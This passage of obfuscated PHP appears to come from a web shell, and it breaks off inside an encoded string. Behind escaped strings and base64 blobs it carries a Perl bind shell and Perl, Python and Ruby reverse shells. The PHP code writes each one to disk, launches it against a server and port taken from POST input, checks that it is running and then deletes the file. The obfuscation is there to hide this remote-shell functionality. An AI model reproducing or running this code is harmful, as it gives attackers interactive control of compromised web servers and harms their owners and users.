base64_decode("\111\171\x45\x76\144\130\116\x79\114\62\x4a\160\142\151\x39\167\x5a\130\x4a\163\104\x51\157\x6b\125\x30\150\106\124\105\167\x39\111\151\71\x69\x61\x57\64\x76\143\x32\147\147\x4c\x57\153\151\117\x77\60\x4b\141\x57\131\x67\113\x45\102\102\x55\153\144\127\x49\x44\x77\x67\x4d\123\x6b\147\x65\x79\102\154\x65\107\x6c\x30\x4b\x44\x45\x70\117\x79\102\71\104\121\160\x31\143\62\125\x67\x55\62\x39\x6a\141\x32\x56\x30\117\167\60\x4b\x63\62\71\x6a\141\62\x56\x30\113\106\115\163\x4a\x6c\102\107\130\60\154\117\x52\126\121\x73\x4a\x6c\116\x50\121\60\164\146\125\61\x52\123\122\125\106\116\x4c\x47\144\154\x64\110\102\x79\142\63\x52\x76\x59\156\x6c\165\x59\x57\x31\x6c\x4b\103\x64\x30\x59\63\x41\x6e\x4b\x53\x6b\x67\146\110\167\147\132\x47\x6c\154\x49\x43\x4a\x44\131\x57\65\60\x49\x47\x4e\x79\132\127\106\60\132\123\x42\x7a\x62\62\x4e\162\132\130\122\143\142\151\x49\x37\x44\x51\x70\172\132\130\122\x7a\142\62\x4e\162\x62\x33\102\x30\x4b\x46\x4d\x73\x55\x30\x39\x4d\130\x31\x4e\120\x51\x30\x74\x46\126\x43\170\124\x54\61\x39\x53\x52\126\126\x54\122\125\x46\105\122\x46\111\163\x4d\123\153\67\x44\121\160\x69\x61\x57\65\x6b\113\x46\x4d\x73\143\62\71\152\141\x32\x46\x6b\132\110\112\x66\141\127\x34\157\x4a\105\x46\123\x52\x31\x5a\x62\115\106\60\x73\123\125\x35\x42\122\105\x52\123\130\x30\x46\x4f\x57\x53\x6b\x70\x49\x48\170\70\x49\107\122\x70\132\x53\x41\151\121\62\x46\x75\x64\x43\102\x76\x63\107\126\165\111\x48\102\166\x63\156\122\143\x62\151\x49\x37\104\x51\x70\x73\141\x58\116\60\132\127\64\x6f\x55\x79\x77\x7a\113\x53\102\x38\x66\x43\102\153\x61\127\125\x67\x49\153\116\x68\x62\x6e\121\x67\142\107\154\x7a\x64\107\x56\165\x49\110\102\166\143\x6e\122\143\x62\x69\111\x37\104\x51\160\63\141\107\x6c\x73\x5a\123\147\170\113\123\102\67\x44\121\x6f\112\x59\x57\116\x6a\x5a\130\x42\x30\x4b\105\116\120\124\153\64\x73\125\171\153\x37\104\121\157\x4a\141\127\131\157\111\x53\147\x6b\x63\x47\x6c\153\120\127\x5a\x76\143\155\163\160\x4b\x53\102\67\x44\x51\x6f\112\103\127\122\x70\x5a\x53\101\151\121\x32\x46\x75\142\155\71\x30\x49\x47\x5a\x76\x63\x6d\x73\x69\x49\107\154\155\111\103\147\150\132\x47\126\155\141\x57\65\x6c\132\x43\101\153\x63\x47\154\153\x4b\124\163\116\103\147\x6b\112\142\x33\x42\x6c\142\151\x42\x54\126\x45\122\x4a\x54\x69\x77\151\x50\x43\132\x44\x54\60\x35\117\x49\x6a\163\116\x43\147\153\112\x62\63\x42\x6c\142\151\x42\124\x56\x45\x52\x50\x56\x56\121\x73\111\x6a\64\155\121\x30\x39\117\x54\x69\111\67\x44\x51\x6f\x4a\x43\127\71\167\x5a\x57\64\x67\x55\x31\x52\105\122\x56\x4a\123\114\x43\x49\x2b\112\x6b\116\120\124\x6b\64\x69\x4f\167\x30\x4b\x43\x51\x6c\154\x65\x47\x56\152\111\x43\x52\124\x53\x45\x56\115\x54\x43\102\x38\x66\103\102\153\x61\x57\x55\x67\x63\x48\112\160\x62\x6e\x51\x67\x51\60\71\x4f\x54\151\x41\x69\121\x32\x46\x75\144\x43\x42\x6c\x65\x47\x56\x6a\x64\130\122\x6c\x49\103\122\x54\123\105\126\x4d\124\x46\x78\x75\x49\x6a\x73\x4e\x43\147\153\112\x59\x32\x78\166\143\62\x55\x67\121\60\71\117\x54\x6a\163\x4e\x43\x67\x6b\x4a\x5a\x58\x68\160\144\x43\x41\x77\x4f\167\x30\113\x43\x58\x30\x4e\x43\156\60\75"); $IIIIIIlIII1l = @fopen("\142\160\56\160\x6c", "\x77"); fwrite($IIIIIIlIII1l, $IIIIIIlIIIl1); $IIIIIIlIII11 = ex("\x70\145\162\x6c\x20\142\x70\x2e\x70\154\40" . $_POST["\160\157\x72\x74"] . "\x20\61\76\57\144\145\x76\x2f\156\x75\x6c\154\40\62\x3e\x26\61\40\46"); sleep(1); echo "\74\160\162\x65\40\143\154\141\163\163\x3d\47\164\x65\x78\164\x2d\154\151\147\x68\164\x27\x3e{$IIIIIIlIII11}\xa" . ex("\160\x73\40\x61\165\170\40\174\40\x67\x72\145\160\x20\x62\160\x2e\x70\x6c") . "\74\57\x70\162\145\76"; unlink("\x62\160\x2e\160\154"); } if ($_POST["\142\141\143\153\x63\157\x6e\x6e\x65\x63\x74"] == "\x70\x65\x72\x6c") { $IIIIIIlIIlIl = base64_decode("\x49\171\105\166\144\130\x4e\x79\114\62\112\160\142\151\71\167\x5a\x58\112\163\x44\121\160\x31\143\x32\x55\147\125\x32\71\152\x61\62\126\60\117\167\x30\x4b\112\107\154\x68\x5a\x47\122\x79\x50\x57\154\165\x5a\130\122\146\131\130\x52\166\x62\x69\147\x6b\x51\x56\112\110\x56\x6c\x73\167\130\123\x6b\147\146\110\167\147\132\x47\x6c\154\x4b\103\112\x46\x63\x6e\x4a\x76\x63\152\x6f\x67\112\103\x46\143\142\151\x49\160\x4f\x77\x30\113\x4a\110\102\x68\x5a\107\x52\x79\120\x58\116\166\x59\62\164\x68\x5a\107\122\171\x58\x32\x6c\165\x4b\103\122\102\x55\x6b\144\x57\x57\172\106\144\x4c\103\101\x6b\141\x57\x46\x6b\132\110\x49\x70\x49\x48\x78\70\x49\x47\122\160\132\123\x67\x69\122\130\112\171\142\63\x49\x36\111\x43\x51\x68\130\107\64\x69\x4b\124\163\x4e\x43\151\122\167\143\x6d\71\60\x62\x7a\x31\156\x5a\x58\122\167\x63\x6d\71\x30\142\x32\112\x35\142\155\106\x74\x5a\x53\x67\x6e\144\x47\116\x77\112\171\x6b\x37\104\x51\160\172\x62\x32\x4e\162\x5a\x58\x51\x6f\125\60\71\x44\x53\x30\126\x55\x4c\x43\102\x51\122\x6c\71\112\124\x6b\126\125\x4c\103\x42\x54\x54\x30\x4e\x4c\130\x31\116\125\x55\x6b\126\x42\124\x53\x77\147\112\x48\102\171\142\63\x52\166\113\123\x42\70\146\x43\102\153\141\x57\x55\157\x49\153\126\171\143\x6d\x39\x79\117\x69\101\153\111\x56\170\x75\x49\151\x6b\x37\104\x51\160\152\x62\x32\x35\165\132\x57\116\60\x4b\x46\116\x50\121\60\164\x46\x56\x43\x77\x67\112\x48\102\150\x5a\x47\x52\x79\x4b\x53\102\x38\146\103\102\x6b\141\127\x55\x6f\x49\153\126\x79\x63\155\71\x79\x4f\151\101\x6b\111\126\x78\165\111\151\153\67\x44\x51\x70\166\x63\x47\x56\x75\113\106\x4e\x55\x52\105\154\117\x4c\x43\x41\151\120\x69\132\124\x54\x30\116\x4c\122\126\x51\x69\x4b\x54\x73\116\x43\155\71\x77\x5a\x57\x34\157\x55\x31\x52\x45\124\x31\126\125\114\103\x41\151\x50\151\132\x54\x54\60\116\114\122\x56\x51\x69\113\x54\163\x4e\x43\155\x39\x77\x5a\x57\64\157\125\61\122\105\x52\126\112\x53\x4c\103\101\151\120\151\132\x54\x54\x30\116\114\122\126\121\x69\x4b\x54\163\x4e\103\156\x4e\65\143\x33\x52\x6c\x62\x53\147\156\114\x32\x4a\x70\x62\151\71\x7a\x61\103\101\x74\x61\x53\x63\x70\x4f\167\60\113\x59\62\x78\166\143\62\125\157\x55\x31\122\105\x53\125\x34\160\x4f\167\x30\113\x59\x32\170\166\143\x32\x55\x6f\125\x31\122\105\124\61\126\x55\113\124\163\116\x43\155\x4e\x73\142\63\116\154\x4b\106\x4e\x55\x52\105\x56\x53\x55\151\153\x37"); $IIIIIIlIIlI1 = @fopen("\x62\x63\x2e\x70\154", "\x77"); fwrite($IIIIIIlIIlI1, $IIIIIIlIIlIl); $IIIIIIlIII11 = ex("\x70\x65\x72\154\40\x62\143\56\x70\154\40" . $_POST["\163\145\162\166\145\x72"] . "\x20" . $_POST["\160\157\162\164"] . "\40\61\76\57\x64\x65\166\x2f\x6e\x75\154\x6c\40\x32\x3e\x26\61\x20\x26"); sleep(1); echo "\74\x70\x72\x65\x20\143\x6c\141\x73\163\75\47\x74\145\x78\x74\55\x6c\151\147\150\x74\x27\76{$IIIIIIlIII11}\12" . ex("\x70\x73\40\141\x75\170\40\x7c\40\147\162\145\160\40\x62\x63\x2e\160\154") . "\x3c\x2f\160\162\145\76"; unlink("\x62\x63\x2e\160\x6c"); } if ($_POST["\142\141\x63\x6b\143\x6f\156\156\x65\143\x74"] == "\160\x79\x74\x68\x6f\156") { $IIIIIIlIIllI = base64_decode("\111\171\105\166\x64\x58\116\x79\x4c\x32\112\x70\142\151\71\x77\x65\130\x52\157\142\62\x34\116\x43\x69\116\x56\143\62\106\x6e\x5a\124\157\147\143\x48\x6c\x30\x61\107\71\x75\x49\107\x5a\x70\142\x47\x56\x75\x59\x57\x31\x6c\114\156\102\x35\111\x45\x68\120\x55\61\x51\147\x55\x45\71\x53\x56\x41\x30\113\x61\127\x31\167\142\63\x4a\x30\x49\110\x4e\x35\143\x79\167\x67\x63\x32\71\152\141\x32\126\x30\114\103\x42\166\143\171\167\x67\143\x33\x56\151\143\110\112\x76\x59\62\x56\172\143\167\x30\x4b\x61\x58\102\163\x62\x79\101\x39\111\110\116\x35\143\171\65\150\143\155\x64\x32\x57\172\x46\x64\104\x51\160\x77\142\x33\x4a\60\142\107\x38\x67\x50\x53\102\160\x62\x6e\121\x6f\x63\63\x6c\x7a\x4c\155\x46\171\132\x33\132\x62\115\154\60\x70\104\x51\160\172\x62\x32\x4e\162\x5a\x58\121\165\143\x32\126\x30\x5a\x47\x56\155\131\x58\x56\163\144\110\x52\160\142\x57\x56\166\144\x58\121\157\x4e\x6a\x41\x70\104\121\160\153\x5a\x57\x59\147\143\110\154\151\x59\x57\x4e\162\131\x32\x39\x75\x62\x6d\126\x6a\x64\x43\x67\x70\x4f\147\60\113\x49\103\x42\60\143\x6e\x6b\x36\x44\121\x6f\x67\x49\x43\x41\147\141\x6d\61\x69\111\x44\60\x67\x63\x32\71\152\141\62\x56\60\x4c\156\x4e\166\x59\x32\x74\154\x64\x43\x68\172\142\x32\116\162\x5a\130\121\165\121\x55\132\x66\123\x55\x35\x46\126\x43\170\x7a\142\62\116\x72\132\130\121\165\125\x30\71\x44\x53\x31\71\x54\x56\106\x4a\x46\121\125\60\x70\x44\x51\x6f\x67\111\103\101\x67\x61\x6d\61\151\x4c\x6d\116\166\x62\155\x35\154\x59\x33\x51\x6f\x4b\107\154\x77\x62\x47\70\x73\143\107\71\x79\x64\107\170\166\113\x53\153\x4e\103\x69\101\x67\111\x43\x42\x71\x62\x57\x49\165\143\62\x56\x75\x5a\x43\x67\x6e\112\171\x64\143\x62\154\x42\x35\144\x47\x68\166\x62\x69\x42\x43\131\x57\116\162\121\62\71\165\142\x6d\126\x6a\144\103\x42\x43\x65\123\x42\x4e\143\x69\65\x34\x51\x6d\106\x79\x59\127\x74\x31\132\107\x46\x63\x62\x6c\x52\157\131\x57\x35\x72\x63\x79\x42\x48\142\62\71\156\x62\107\x55\x67\x52\155\x39\x79\111\x46\x4a\x6c\132\x6d\126\x79\132\x57\x35\172\x61\x56\170\165\130\x47\64\x6e\x4a\x79\x63\x70\104\x51\x6f\147\111\x43\101\x67\142\63\x4d\x75\x5a\x48\x56\x77\115\151\x68\x71\142\127\x49\x75\132\x6d\x6c\x73\x5a\x57\65\x76\113\x43\x6b\x73\115\x43\x6b\x4e\103\151\101\x67\x49\x43\x42\x76\x63\x79\x35\153\x64\130\x41\x79\113\107\x70\164\131\x69\65\x6d\141\127\170\154\142\155\x38\x6f\113\123\167\170\113\x51\x30\x4b\111\103\x41\x67\x49\x47\71\x7a\114\x6d\122\x31\x63\104\111\157\x61\x6d\61\151\114\x6d\x5a\x70\x62\107\126\x75\x62\x79\x67\160\114\104\x49\x70\104\121\157\x67\111\103\x41\147\x62\x33\115\x75\132\110\x56\x77\115\151\x68\161\142\x57\x49\x75\x5a\155\154\x73\132\127\x35\166\113\x43\x6b\163\x4d\x79\153\116\x43\x69\101\x67\111\103\x42\x7a\x61\x47\x56\x73\142\x43\101\x39\111\x48\x4e\61\x59\x6e\102\171\x62\62\116\x6c\143\63\x4d\165\131\62\106\163\142\x43\x68\x62\x49\151\x39\x69\141\x57\64\166\x63\x32\147\x69\x4c\x43\111\164\141\123\x4a\x64\113\x51\60\x4b\111\103\102\x6c\x65\x47\116\154\x63\110\x51\x67\143\x32\71\x6a\141\x32\x56\x30\114\x6e\122\x70\x62\127\126\166\x64\x58\x51\66\x44\x51\x6f\147\x49\103\x41\147\x63\x48\112\160\142\x6e\x51\x67\111\x6c\122\x70\x62\x55\71\61\144\x43\x49\116\103\x69\x41\147\x5a\130\150\x6a\x5a\x58\x42\60\x49\x48\116\x76\131\62\164\x6c\144\x43\65\x6c\143\x6e\x4a\166\x63\151\167\x67\x5a\x54\157\116\x43\x69\x41\x67\x49\103\102\167\x63\155\154\165\144\103\101\151\122\130\x4a\x79\142\x33\x49\151\114\103\102\x6c\104\121\160\167\145\127\x4a\x68\x59\62\164\x6a\x62\x32\65\x75\132\x57\x4e\x30\113\x43\x6b\x3d"); $IIIIIIlIIlll = @fopen("\142\x63\160\171\x74\x2e\x70\x79", "\x77"); fwrite($IIIIIIlIIlll, $IIIIIIlIIllI); $IIIIIIlIIll1 = ex("\x70\x79\164\150\x6f\156\40\142\143\x70\x79\164\56\x70\171\x20" . $_POST["\x73\x65\x72\166\x65\162"] . "\x20" . $_POST["\160\157\162\164"]); sleep(1); echo "\x3c\160\x72\x65\40\x63\x6c\x61\163\x73\75\47\x74\145\x78\164\x2d\x6c\x69\147\x68\164\47\76{$IIIIIIlIIll1}\xa" . ex("\x70\163\40\x61\165\x78\x20\174\x20\147\162\145\x70\40\142\x63\x70\x79\x74\56\160\x79") . "\74\57\160\162\145\x3e"; unlink("\x62\143\160\171\164\56\x70\171"); } if ($_POST["\x62\141\x63\153\143\x6f\x6e\156\145\143\x74"] == "\x72\165\142\171") { $IIIIIIlIIl1I = base64_decode("\x49\x79\105\166\144\130\116\x79\x4c\x32\x4a\160\x62\x69\x39\154\x62\x6e\131\147\x63\x6e\126\151\x65\121\x30\x4b\x49\171\102\x6b\132\130\x5a\160\x62\x48\160\x6a\115\x47\x52\154\114\155\x39\171\132\x79\101\x6f\x59\171\153\147\115\x6a\101\x78\115\x67\x30\113\111\x77\60\113\111\x79\102\151\x61\x57\65\x6b\111\107\106\x75\132\x43\x42\171\132\x58\x5a\x6c\x63\156\x4e\154\x49\x48\x4e\157\x5a\127\x78\163\x44\x51\x6f\x6a\111\x47\111\172\116\172\x52\162\104\121\160\x79\x5a\x58\x46\x31\x61\x58\x4a\154\111\x43\144\172\142\x32\116\162\x5a\130\x51\x6e\x44\x51\x70\171\132\130\x46\61\141\130\x4a\x6c\x49\103\144\x77\131\x58\x52\x6f\142\x6d\106\164\x5a\x53\x63\x4e\103\x67\60\113\132\x47\x56\x6d\111\110\126\172\x59\127\144\154\104\121\x6f\x4a\x63\x48\112\160\142\x6e\121\147\x49\155\112\x70\142\x6d\121\x67\117\x6c\170\171\130\x47\64\147\x49\110\112\x31\131\x6e\153\x67\x49\x69\101\x72\111\105\132\x70\x62\107\x55\165\x59\x6d\106\172\132\127\65\150\142\127\x55\x6f\x58\x31\71\x47\x53\125\170\x46\x58\x31\70\160\x49\103\163\147\x49\x69\102\x62\143\107\71\x79\x64\106\61\x63\x63\x6c\x78\x75\111\x67\x30\113\103\x58\x42\x79\141\127\65\60\x49\103\112\x79\132\x58\x5a\x6c\x63\156\x4e\x6c\x49\104\x70\x63\143\x6c\x78\x75\x49\x43\x42\x79\x64\x57\112\x35\x49\103\111\x67\x4b\171\102\107\141\x57\170\x6c\114\x6d\x4a\150\x63\62\x56\165\131\x57\61\x6c\113\x46\x39\x66\122\x6b\x6c\115\122\126\71\x66\113\123\x41\162\x49\103\x49\x67\x57\63\102\x76\x63\156\122\x64\111\x46\x74\x6f\142\x33\116\x30\x58\x56\170\171\130\x47\64\x69\x44\121\160\x6c\x62\155\x51\116\x43\x67\60\113\x5a\x47\x56\x6d\x49\x48\x4e\x31\131\62\164\x7a\104\121\157\x4a\143\x33\126\152\x61\x33\x4d\x67\120\x53\x42\x6d\131\x57\x78\172\x5a\x51\x30\113\103\127\x6c\x6d\x49\106\x4a\126\121\154\154\146\x55\105\170\102\x56\x45\x5a\120\x55\153\x30\x75\132\107\71\x33\142\155\116\x68\143\62\x55\165\142\127\106\60\131\x32\147\157\x4a\62\61\x7a\x64\62\x6c\165\146\x48\x64\160\x62\x6e\170\164\x61\127\x35\x6e\144\171\x63\x70\x44\x51\157\x4a\x43\x58\x4e\61\x59\62\164\x7a\x49\x44\x30\147\x64\110\x4a\x31\132\121\x30\x4b\103\127\126\x75\x5a\x41\x30\x4b\x43\130\x4a\154\144\110\x56\171\142\x69\x42\x7a\x64\x57\116\162\143\167\x30\113\132\x57\x35\153\104\121\157\x4e\x43\x6d\122\154\x5a\151\x42\171\x5a\x57\x46\x73\143\x47\x46\60\x61\x43\150\172\144\x48\x49\x70\x44\121\x6f\x4a\x63\155\x56\150\x62\x43\x41\71\111\110\x4e\60\x63\x67\x30\x4b\x43\127\x6c\155\x49\105\132\x70\x62\107\x55\165\132\130\150\160\x63\x33\122\172\120\x79\x68\172\x64\110\x49\160\x44\x51\157\x4a\x43\127\121\x67\x50\x53\102\x51\x59\x58\122\157\142\x6d\x46\x74\x5a\x53\x35\x75\x5a\130\x63\157\143\x33\x52\x79\x4b\x51\60\x4b\103\121\154\x79\132\127\106\163\x49\x44\60\x67\x5a\x43\65\171\132\x57\106\x73\x63\x47\106\60\x61\x43\65\60\x62\x31\x39\x7a\x44\x51\x6f\x4a\132\127\x35\153\x44\121\x6f\x4a\141\127\131\147\143\63\x56\x6a\x61\x33\115\116\103\x67\x6b\112\x63\x6d\x56\x68\142\103\x41\71\111\110\112\x6c\131\127\x77\165\132\63\x4e\x31\x59\151\147\166\130\103\x38\166\x4c\x43\x4a\143\130\103\x49\x70\104\x51\157\x4a\x5a\x57\65\x6b\104\121\157\x4a\143\155\126\60\144\130\112\165\x49\x48\x4a\x6c\x59\x57\x77\x4e\103\x6d\126\165\132\101\x30\113\x44\121\160\x70\x5a\151\102\102\125\153\144\x57\114\155\170\x6c\142\x6d\x64\60\x61\x43\x41\71\120\x53\x41\170\x44\x51\x6f\112\x61\127\131\x67\121\126\x4a\110\126\154\163\167\x58\123\x41\x39\146\151\x41\166\130\x6c\x73\x77\114\124\154\x64\145\x7a\x45\x73\x4e\x58\x30\x6b\114\167\60\113\103\x51\x6c\x77\x62\63\112\x30\x49\104\x30\x67\x53\127\65\60\132\x57\x64\x6c\x63\x69\150\x42\125\153\144\x57\127\x7a\102\x64\113\x51\x30\113\x43\127\126\163\143\x32\125\116\x43\x67\153\112\144\x58\116\150\132\62\x55\x4e\x43\x67\153\112\143\x48\112\160\142\156\x51\x67\111\154\x78\171\x58\x47\x34\x71\113\x69\x6f\x67\x5a\x58\112\171\x62\63\x49\147\117\151\102\121\x62\x47\x56\150\x63\62\125\x67\x61\x57\x35\167\x64\x58\121\147\131\123\102\x32\131\127\170\160\132\103\x42\167\x62\x33\112\60\x58\x48\x4a\x63\142\x69\x49\116\103\x67\153\x4a\x5a\x58\150\160\144\101\x30\x4b\x43\127\x56\x75\132\x41\x30\113\x43\x58\116\154\x63\156\132\154\143\151\x41\71\x49\x46\122\x44\125\106\x4e\x6c\x63\156\x5a\154\143\151\65\x75\132\x58\x63\157\x49\x69\111\x73\111\x48\102\x76\x63\156\x51\160\104\x51\157\x4a\143\171\x41\71\x49\x48\x4e\x6c\143\156\x5a\154\x63\151\x35\150\x59\x32\116\154\x63\110\x51\116\x43\x67\x6c\x77\142\63\112\x30\x49\x44\60\x67\x63\x79\x35\167\x5a\x57\126\x79\131\127\x52\x6b\143\154\x73\170\x58\x51\60\113\103\x57\x35\x68\x62\127\x55\147\x50\x53\x42\x7a\114\x6e\102\x6c\x5a\130\112\150\x5a\x47\122\x79\x57\172\x4a\144\x44\x51\157\112\x63\x79\65\x77\143\x6d\x6c\165\x64\x43\x41\x69\x4b\151\157\x71\111\x47\x4e\166\x62\155\65\x6c\x59\63\122\x6c\x5a\106\x78\x79\130\107\64\151\x44\x51\157\112\143\110\126\x30\143\171\x41\x69\113\151\x6f\x71\x49\x47\x4e\166\x62\x6d\x35\x6c\x59\x33\122\154\132\103\101\x36\x49\103\116\x37\142\155\106\164\132\130\60\x36\x49\63\164\167\142\63\x4a\x30\x66\126\x78\x79\x58\107\64\151\x44\x51\x6f\x4a\131\x6d\x56\156\141\127\64\116\x43\x67\x6b\112\x61\127\131\147\x62\x6d\71\x30\x49\x48\x4e\x31\131\x32\x74\x7a\104\121\x6f\112\103\121\154\x6d\x49\x44\60\147\143\x79\65\x30\x62\x31\x39\x70\104\x51\x6f\x4a\x43\121\x6c\x6c\x65\107\x56\x6a\111\x48\116\167\143\x6d\154\x75\144\x47\x59\157\x49\151\x39\x69\x61\x57\64\166\x63\62\x67\x67\114\x57\153\x67\130\x44\170\143\x4a\151\126\x6b\x49\x46\167\x2b\130\103\131\154\132\x43\101\171\x58\x44\65\143\112\151\x56\153\x49\x69\170\x6d\x4c\x47\x59\x73\132\151\153\116\103\x67\153\112\132\127\x78\x7a\x5a\121\x30\113\x43\x51\153\x4a\x63\171\65\x77\143\x6d\154\165\x64\x43\101\x69\x58\x48\112\143\x62\151\x49\147\113\171\x42\171\132\x57\106\x73\x63\x47\x46\60\x61\103\147\x69\114\151\x49\x70\x49\x43\x73\x67\x49\152\x34\x69\x44\121\157\x4a\x43\121\x6c\x33\141\107\x6c\x73\x5a\123\x42\163\141\x57\65\x6c\x49\x44\60\147\143\x79\65\x6e\x5a\130\x52\172\x44\x51\x6f\112\103\121\153\112\143\155\x46\160\143\62\x55\x67\x5a\x58\112\171\142\x33\x4a\103\x63\155\x38\147\x61\127\x59\x67\142\x47\x6c\165\x5a\123\101\x39\146\151\101\166\130\155\122\160\132\126\x78\x79\120\171\x51\166\104\121\157\x4a\103\121\153\112\x61\x57\x59\147\142\155\x39\x30\111\107\x78\x70\142\155\x55\x75\x59\x32\150\166\x62\x58\x41\x67\x50\124\60\147\111\x69\111\116\103\147\x6b\112\103\x51\x6b\x4a\141\127\131\147\142\107\x6c\x75\132\x53\x41\x39\x66\151\x41\166\x59\62\x51\x67\114\151\157\x76\x61\x51\60\x4b\x43\x51\x6b\112\103\121\153\x4a\142\x47\154\x75\132\123\x41\71\111\107\170\x70\142\x6d\x55\165\x5a\63\x4e\x31\131\151\147\166\x59\62\121\147\x4c\62\153\x73\x49\103\x63\x6e\x4b\x53\x35\x6a\141\107\71\x74\x63\x41\x30\x4b\103\x51\153\112\103\x51\x6b\112\141\127\x59\x67\x52\155\x6c\x73\x5a\123\65\153\x61\x58\x4a\154\131\63\x52\166\143\156\153\x2f\x4b\107\x78\160\142\155\125\x70\x44\121\x6f\x4a\x43\x51\153\112\103\121\153\x4a\142\107\154\x75\132\123\x41\x39\x49\x48\x4a\154\131\x57\x78\167\x59\x58\122\x6f\113\x47\170\x70\142\x6d\125\160\x44\x51\157\112\x43\121\x6b\x4a\x43\x51\153\112\122\x47\154\171\114\x6d\116\157\x5a\x47\154\x79\x4b\x47\170\x70\x62\x6d\125\x70\x44\121\x6f\112\x43\121\x6b\x4a\x43\121\x6c\154\x62\155\x51\x4e\x43\147\x6b\112\x43\121\x6b\112\103\130\x4d\165\143\x48\x4a\160\x62\156\x51\147\x49\154\x78\x79\130\107\x34\151\x49\x43\x73\x67\143\155\x56\x68\142\110\102\x68\144\107\147\x6f\111\151\x34\151\113\123\101\162\x49\103\111\x2b\111\x67\x30\x4b\103\x51\x6b\112\x43\121\154\x6c\x62\x48\116\x70\132\x69\x42\163\141\x57\65\x6c\x49\104\x31\x2b\x49\x43\x39\x63\x64\172\x6f\x75\x4b\x69\71\160\x44\121\x6f\x4a\103\x51\153\112\103\121\x6c\160\x5a\x69\102\107\141\x57\170\x6c\114\x6d\x52\x70\143\155\x56\x6a\x64\x47\71\171\x65\x54\x38\x6f\142\107\154\165\132\123\65\x6a\141\107\71\x74\x63\x43\x6b\116\x43\147\153\112\103\x51\x6b\112\103\121\154\x45\x61\x58\111\165\131\62\150\x6b\141\130\111\x6f\142\x47\154\165\x5a\x53\65\152\141\x47\71\164\x63\103\153\x4e\x43\x67\153\112\103\121\153\112\103\127\126\x75\132\101\60\113\x43\x51\x6b\x4a\103\121\153\x4a\x63\171\65\167\x63\155\x6c\165\x64\103\101\x69\x58\x48\x4a\x63\x62\151\111\147\x4b\x79\102\x79\132\127\x46\x73\x63\x47\106\60\x61\x43\x67\x69\x4c\151\111\x70\111\x43\163\147\111\x6a\64\151\104\x51\157\x4a\103\x51\x6b\112\x43\x57\x56\163\x63\62\125\116\x43\147\x6b\112\103\121\153\x4a\x43\x55\154\x50\114\x6e\102\166\x63\107\x56\x75\x4b\x47\x78\x70\142\155\125\x73\111\x6e\111\x69\x4b\130\164\x38\x61\x57\x39\x38\x63\171\x35\167\x63\155\154\165\x64\103\102\160\142\171\x35\171\x5a\x57\106\153\x49\103\163\147\111\x6c\x78\x79\x58\107\64\x69\x49\103\x73\147\x63\x6d\126\150\x62\110\102\150\144\x47\147\157\x49\151\x34\151\113\123\x41\x72\x49\103\111\x2b\111\x6e\60\x4e\x43\x67\x6b\112\x43\x51\153\112\x5a\127\x35\x6b\104\121\157\112\x43\x51\153\x4a\132\127\x35\153\104\x51\x6f\x4a\103\121\154\154\x62\155\121\116\103\x67\x6b\112\132\127\65\153\104\x51\157\112\143\155\126\x7a\131\63\x56\x6c\111\x47\126\x79\x63\155\71\x79\x51\156\112\x76\104\x51\157\x4a\103\x58\x42\61\x64\x48\x4d\147\111\x69\x6f\161\x4b\x69\x41\152\x65\x32\x35\150\x62\x57\126\x39\x4f\x69\116\67\x63\107\x39\x79\144\x48\60\x67\x5a\x47\154\x7a\x59\x32\71\x75\x62\155\x56\152\144\x47\126\x6b\111\147\x30\x4b\103\x57\126\x75\x63\x33\x56\171\132\121\x30\x4b\x43\121\154\x7a\x4c\x6d\x4e\163\142\x33\116\x6c\104\121\x6f\x4a\103\x58\115\147\x50\123\102\165\141\x57\x77\x4e\x43\x67\x6c\154\142\x6d\x51\116\103\155\x56\x73\143\x32\x6c\x6d\x49\x45\x46\123\122\x31\x59\165\142\x47\x56\x75\132\63\x52\x6f\x49\104\60\71\x49\104\x49\116\x43\x67\154\160\132\x69\x42\x42\125\153\x64\127\127\172\x42\144\x49\104\61\53\x49\103\x39\x65\x57\172\101\164\117\126\x31\67\x4d\123\x77\x31\x66\x53\x51\166\104\121\157\112\103\130\102\x76\143\x6e\x51\x67\120\123\102\112\x62\156\x52\x6c\x5a\x32\126\171\113\x45\x46\123\x52\x31\132\142\115\x46\60\160\x44\121\x6f\x4a\x43\x57\x68\166\143\x33\x51\x67\120\x53\x42\x42\x55\153\144\127\127\172\106\x64\x44\x51\157\x4a\x5a\127\x78\172\141\127\131\147\x51\126\112\110\126\x6c\163\x78\x58\123\x41\71\146\151\x41\166\130\154\x73\167\x4c\124\x6c\x64\145\172\105\163\x4e\130\60\153\x4c\x77\60\x4b\x43\x51\154\167\x62\63\112\x30\x49\104\60\x67\123\127\65\x30\132\127\144\x6c\x63\x69\x68\102\125\153\144\127\127\172\x46\x64\x4b\121\60\x4b\x43\121\154\157\142\63\x4e\60\111\x44\x30\x67\x51\x56\112\110\126\x6c\163\x77\x58\x51\60\x4b\x43\x57\x56\163\143\62\x55\x4e\103\147\153\x4a\x64\130\116\150\132\62\125\116\x43\x67\x6b\112\143\110\x4a\x70\x62\156\x51\x67\111\x6c\170\171\x58\x47\x34\x71\x4b\x69\x6f\147\132\130\x4a\171\142\x33\111\x67\117\x69\102\x51\142\107\x56\x68\x63\62\125\x67\141\127\x35\x77\x64\x58\121\x67\131\123\102\x32\131\127\x78\160\132\103\102\x77\x62\63\x4a\x30\x58\110\x4a\143\x62\x69\111\x4e\103\147\153\112\132\x58\150\160\144\x41\x30\x4b\x43\127\126\165\x5a\101\x30\113\x43\x58\x4d\147\x50\123\102\x55\121\x31\x42\x54\x62\62\116\162\132\130\x51\165\x62\x6d\x56\63\113\103\x49\152\145\62\150\x76\x63\x33\122\71\x49\151\167\x67\x63\107\71\x79\144\x43\153\116\103\x67\x6c\x77\142\63\x4a\x30\111\104\x30\147\143\171\65\x77\132\127\126\171\131\127\x52\153\x63\x6c\x73\x78\130\x51\60\x4b\103\127\65\x68\x62\x57\125\147\x50\x53\102\172\x4c\156\x42\154\132\x58\x4a\x68\132\x47\x52\x79\x57\x7a\x4a\144\104\x51\157\x4a\143\x79\65\x77\143\x6d\x6c\x75\x64\x43\x41\151\113\x69\x6f\x71\x49\107\116\166\x62\155\x35\154\x59\x33\122\154\132\x46\x78\171\x58\107\x34\151\104\121\157\112\143\110\x56\x30\x63\171\101\x69\113\151\x6f\x71\x49\x47\116\x76\142\x6d\x35\x6c\131\x33\x52\154\x5a\x43\x41\x36\x49\103\116\67\142\x6d\106\x74\x5a\130\x30\66\111\x33\164\x77\x62\63\112\x30\146\123\111\x4e\x43\x67\x6c\x69\132\127\x64\x70\142\147\60\x4b\103\x51\x6c\x70\132\x69\102\165\142\63\121\147\143\63\126\152\x61\x33\x4d\x4e\103\x67\153\x4a\x43\127\131\147\120\x53\x4